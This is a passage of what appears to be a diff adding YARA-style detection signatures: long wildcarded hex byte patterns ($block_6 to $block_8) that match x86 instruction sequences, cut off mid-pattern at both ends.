?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 }
+		$block_6 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? C6 ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? BA ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 2D ?? ?? ?? ?? 89 }
+		$block_7 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 89 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F B6 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 0F B6 